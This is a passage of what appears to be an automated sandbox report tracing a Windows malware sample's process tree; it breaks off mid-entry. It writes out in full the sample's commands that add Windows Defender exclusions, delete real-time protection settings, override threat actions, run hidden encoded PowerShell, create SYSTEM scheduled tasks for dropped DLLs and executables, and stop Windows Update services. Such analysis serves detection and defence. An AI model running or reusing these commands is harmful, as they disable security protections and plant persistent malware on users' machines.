        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\DQsmlqqwNqJuTewVy" /t REG_DWORD /d 0 /reg:64
        6⤵
        Windows security bypass
        
        PID:3232
      - C:\Windows\SysWOW64\reg.exe
        
        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\QqEAMUespgTHJnVz" /t REG_DWORD /d 0 /reg:32
        6⤵
        Windows security bypass
        
        PID:2196
      - C:\Windows\SysWOW64\reg.exe
        
        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\QqEAMUespgTHJnVz" /t REG_DWORD /d 0 /reg:64
        6⤵
        Windows security bypass
        
        PID:3308
      - C:\Windows\SysWOW64\reg.exe
        
        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NuNDxVhSfKiQUmJwJAR" /t REG_DWORD /d 0 /reg:32
        6⤵
        
        PID:3452
      - C:\Windows\SysWOW64\reg.exe
        
        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NuNDxVhSfKiQUmJwJAR" /t REG_DWORD /d 0 /reg:64
        6⤵
        
        PID:3476
      - C:\Windows\SysWOW64\reg.exe
        
        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QtKEgKYoTGTqC" /t REG_DWORD /d 0 /reg:32
        6⤵
        
        PID:2216
      - C:\Windows\SysWOW64\reg.exe
        
        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QtKEgKYoTGTqC" /t REG_DWORD /d 0 /reg:64
        6⤵
        
        PID:3540
      - C:\Windows\SysWOW64\reg.exe
        
        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZEkGlaTFWGUn" /t REG_DWORD /d 0 /reg:32
        6⤵
        
        PID:3740
      - C:\Windows\SysWOW64\reg.exe
        
        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZEkGlaTFWGUn" /t REG_DWORD /d 0 /reg:64
        6⤵
        
        PID:3620
      - C:\Windows\SysWOW64\reg.exe
        
        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\dlfHiRefefjU2" /t REG_DWORD /d 0 /reg:32
        6⤵
        
        PID:3804
      - C:\Windows\SysWOW64\reg.exe
        
        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\dlfHiRefefjU2" /t REG_DWORD /d 0 /reg:64
        6⤵
        
        PID:3820
      - C:\Windows\SysWOW64\reg.exe
        
        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\hsUwQAlMU" /t REG_DWORD /d 0 /reg:32
        6⤵
        
        PID:3860
      - C:\Windows\SysWOW64\reg.exe
        
        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\hsUwQAlMU" /t REG_DWORD /d 0 /reg:64
        6⤵
        
        PID:3964
      - C:\Windows\SysWOW64\reg.exe
        
        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\nivjmgppGaMJQQVB" /t REG_DWORD /d 0 /reg:32
        6⤵
        
        PID:668
      - C:\Windows\SysWOW64\reg.exe
        
        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\nivjmgppGaMJQQVB" /t REG_DWORD /d 0 /reg:64
        6⤵
        
        PID:3844
      - C:\Windows\SysWOW64\reg.exe
        
        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
        6⤵
        
        PID:1536
      - C:\Windows\SysWOW64\reg.exe
        
        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
        6⤵
        
        PID:3384
      - C:\Windows\SysWOW64\reg.exe
        
        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\DQsmlqqwNqJuTewVy" /t REG_DWORD /d 0 /reg:32
        6⤵
        
        PID:1384
      - C:\Windows\SysWOW64\reg.exe
        
        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\DQsmlqqwNqJuTewVy" /t REG_DWORD /d 0 /reg:64
        6⤵
        
        PID:1852
      - C:\Windows\SysWOW64\reg.exe
        
        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\QqEAMUespgTHJnVz" /t REG_DWORD /d 0 /reg:32
        6⤵
        
        PID:444
      - C:\Windows\SysWOW64\reg.exe
        
        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\QqEAMUespgTHJnVz" /t REG_DWORD /d 0 /reg:64
        6⤵
        
        PID:3060
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "gHoidRbic" /SC once /ST 00:00:45 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
        5⤵
        Creates scheduled task(s)
        
        PID:1160
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn "gHoidRbic"
        5⤵
        
        PID:2176
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /DELETE /F /TN "gHoidRbic"
        5⤵
        
        PID:3812
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
        5⤵
        
        PID:4004
      - C:\Windows\SysWOW64\reg.exe
        
        REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
        6⤵
        
        PID:4044
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64
        5⤵
        
        PID:4036
      - C:\Windows\SysWOW64\reg.exe
        
        REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64
        6⤵
        
        PID:3932
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "ZTNkTKukmvvbOMPkn" /SC once /ST 00:19:15 /RU "SYSTEM" /TR "\"C:\Windows\Temp\QqEAMUespgTHJnVz\WeEdkAGsJlpiURx\unKyJNO.exe\" 0c /zMPFdidqk 385118 /S" /V1 /F
        5⤵
        Drops file in Windows directory
        Creates scheduled task(s)
        
        PID:4020
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn "ZTNkTKukmvvbOMPkn"
        5⤵
        
        PID:2080
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2052 -s 584
        5⤵
        Loads dropped DLL
        Program crash
        
        PID:2168
  - - C:\Windows\Temp\QqEAMUespgTHJnVz\WeEdkAGsJlpiURx\unKyJNO.exe
      C:\Windows\Temp\QqEAMUespgTHJnVz\WeEdkAGsJlpiURx\unKyJNO.exe 0c /zMPFdidqk 385118 /S
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Drops Chrome extension
      Drops file in System32 directory
      Drops file in Program Files directory
      Modifies data under HKEY_USERS
      Modifies system certificate store
      PID:1488
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        5⤵
        
        PID:3892
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
        6⤵
        
        PID:1384
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        7⤵
        
        PID:2508
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        8⤵
        
        PID:2464
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
        6⤵
        
        PID:1620
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        7⤵
        
        PID:2808
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        8⤵
        
        PID:688
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
        6⤵
        
        PID:2968
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        7⤵
        
        PID:3080
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        8⤵
        
        PID:2592
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
        6⤵
        
        PID:2784
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        7⤵
        
        PID:1852
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        8⤵
        
        PID:1572
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        6⤵
        
        PID:1804
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
        7⤵
        
        PID:3060
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        8⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        
        PID:1132
        
        C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        9⤵
        
        PID:3260
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /DELETE /F /TN "btZaCbGShXZoJDfvCg"
        5⤵
        
        PID:3008
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True" &
        5⤵
        
        PID:2520
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
        6⤵
        
        PID:2204
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
        7⤵
        
        PID:3576
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
        8⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        
        PID:1056
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
        9⤵
        
        PID:2584
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True"
        6⤵
        
        PID:3700
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True
        7⤵
        
        PID:3708
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True
        8⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        
        PID:3548
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True
        9⤵
        
        PID:2860
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\hsUwQAlMU\aiKoEx.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "ucrVpivlTlXwlAC" /V1 /F
        5⤵
        Drops file in Windows directory
        Creates scheduled task(s)
        
        PID:3412
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "ucrVpivlTlXwlAC2" /F /xml "C:\Program Files (x86)\hsUwQAlMU\McBrQul.xml" /RU "SYSTEM"
        5⤵
        Creates scheduled task(s)
        
        PID:2848
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /END /TN "ucrVpivlTlXwlAC"
        5⤵
        
        PID:1160
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /DELETE /F /TN "ucrVpivlTlXwlAC"
        5⤵
        
        PID:3888
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "gXuMbmSriUtfuo" /F /xml "C:\Program Files (x86)\dlfHiRefefjU2\cOvwlQc.xml" /RU "SYSTEM"
        5⤵
        Creates scheduled task(s)
        
        PID:3328
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "ZEKxHChbZmoqN2" /F /xml "C:\ProgramData\nivjmgppGaMJQQVB\QhSpYUF.xml" /RU "SYSTEM"
        5⤵
        Creates scheduled task(s)
        
        PID:2416
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "GJlNcuNKEmfKGuMTK2" /F /xml "C:\Program Files (x86)\NuNDxVhSfKiQUmJwJAR\aKKilsg.xml" /RU "SYSTEM"
        5⤵
        Creates scheduled task(s)
        
        PID:3380
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "jVeWQSRcqyudsTDYlcg2" /F /xml "C:\Program Files (x86)\QtKEgKYoTGTqC\UbSRsyk.xml" /RU "SYSTEM"
        5⤵
        Creates scheduled task(s)
        
        PID:3476
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "BjyVbWVaXyfCTlHuI" /SC once /ST 01:24:28 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\QqEAMUespgTHJnVz\zfshKwox\zqLZIFF.dll\",#1 /yMdidRzj 385118" /V1 /F
        5⤵
        Drops file in Windows directory
        Creates scheduled task(s)
        
        PID:1768
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn "BjyVbWVaXyfCTlHuI"
        5⤵
        
        PID:2064
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /DELETE /F /TN "ZTNkTKukmvvbOMPkn"
        5⤵
        
        PID:3984
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1488 -s 1544
        5⤵
        Loads dropped DLL
        Program crash
        
        PID:3664
  - - C:\Windows\system32\rundll32.EXE
      C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\QqEAMUespgTHJnVz\zfshKwox\zqLZIFF.dll",#1 /yMdidRzj 385118
      4⤵
      PID:1860
    - - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\QqEAMUespgTHJnVz\zfshKwox\zqLZIFF.dll",#1 /yMdidRzj 385118
        5⤵
        Blocklisted process makes network request
        Checks BIOS information in registry
        Loads dropped DLL
        Drops file in System32 directory
        Enumerates system info in registry
        Modifies data under HKEY_USERS
        
        PID:2100
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /DELETE /F /TN "BjyVbWVaXyfCTlHuI"
        6⤵
        
        PID:2392
- - C:\Windows\system32\taskeng.exe
    taskeng.exe {A2DA9E8C-807D-4628-9359-237262E0DE62} S-1-5-21-481678230-3773327859-3495911762-1000:UIBNQNMA\Admin:Interactive:[1]
    3⤵
    PID:2988
  - - C:\ProgramData\ugmmrw\ddlsvjm.exe
      C:\ProgramData\ugmmrw\ddlsvjm.exe start2
      4⤵
      Executes dropped EXE
      PID:2684
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
      4⤵
      Command and Scripting Interpreter: PowerShell
      Drops file in System32 directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2488
    - - C:\Windows\system32\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        5⤵
        
        PID:1360
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
      4⤵
      Command and Scripting Interpreter: PowerShell
      Drops file in System32 directory
      PID:972
    - - C:\Windows\system32\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        5⤵
        
        PID:2460
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
      4⤵
      Command and Scripting Interpreter: PowerShell
      Drops file in System32 directory
      PID:3248
    - - C:\Windows\system32\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        5⤵
        
        PID:2844
  - - C:\ProgramData\ugmmrw\ddlsvjm.exe
      C:\ProgramData\ugmmrw\ddlsvjm.exe start2
      4⤵
      Executes dropped EXE
      PID:2956
- - C:\Windows\system32\gpscript.exe
    gpscript.exe /RefreshSystemParam
    3⤵
    PID:2380
- - C:\Windows\system32\wbem\WMIADAP.EXE
    wmiadap.exe /F /T /R
    3⤵
    - Drops file in System32 directory
    - Drops file in Windows directory
    PID:1716
- - C:\Windows\system32\gpscript.exe
    gpscript.exe /RefreshSystemParam
    3⤵
    PID:3160
- - C:\Windows\system32\gpscript.exe
    gpscript.exe /RefreshSystemParam
    3⤵
    PID:3696
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalService
  2⤵
  PID:964
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k NetworkService
  2⤵
  PID:108
- C:\Windows\System32\spoolsv.exe
  C:\Windows\System32\spoolsv.exe
  2⤵
  PID:1008
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
  2⤵
  PID:1064
- C:\Windows\system32\taskhost.exe
  "taskhost.exe"
  2⤵
  PID:1112
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation
  2⤵
  PID:1976
- C:\Windows\system32\sppsvc.exe
  C:\Windows\system32\sppsvc.exe
  2⤵
  PID:2020
- C:\ProgramData\WindowsServices\WindowsAutHost
  C:\ProgramData\WindowsServices\WindowsAutHost
  2⤵
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2652
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:284
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:2132
  - - C:\Windows\system32\wusa.exe
      wusa /uninstall /kb:890830 /quiet /norestart
      4⤵
      Drops file in Windows directory
      PID:1572
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:1160
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:2660
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop wuauserv
    3⤵
    - Launches sc.exe
    PID:1324
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop bits
    3⤵
    - Launches sc.exe
    PID:1684
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop dosvc
    3⤵
    - Launches sc.exe
    PID:2856
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2088
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1548
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1376
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1552
- - C:\Windows\system32\dialer.exe
    C:\Windows\system32\dialer.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1788
- - C:\Windows\system32\dialer.exe
    C:\Windows\system32\dialer.exe
    3⤵
    PID:3004
- - C:\Windows\system32\dialer.exe
    dialer.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:984

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:492

C:\Windows\system32\lsm.exe
C:\Windows\system32\lsm.exe
1⤵
PID:500

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:1204
- C:\Users\Admin\AppData\Local\Temp\96190d67193af8ce4c121115007a1b757e6b581f31cbf7ba81f4f4828a81ffa8.exe
  "C:\Users\Admin\AppData\Local\Temp\96190d67193af8ce4c121115007a1b757e6b581f31cbf7ba81f4f4828a81ffa8.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Identifies Wine through registry keys
  - Loads dropped DLL
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:2136
- - C:\Users\Admin\AppData\Local\Temp\8254624243\axplong.exe
    "C:\Users\Admin\AppData\Local\Temp\8254624243\axplong.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Loads dropped DLL
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:2772
  - - C:\Users\Admin\AppData\Local\Temp\1000002001\file300un.exe
      "C:\Users\Admin\AppData\Local\Temp\1000002001\file300un.exe"
      4⤵
      UAC bypass
      Executes dropped EXE
      Checks whether UAC is enabled
      Suspicious use of SetThreadContext
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      System policy modification
      PID:1960
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\1000002001\file300un.exe" -Force
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:376
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
        
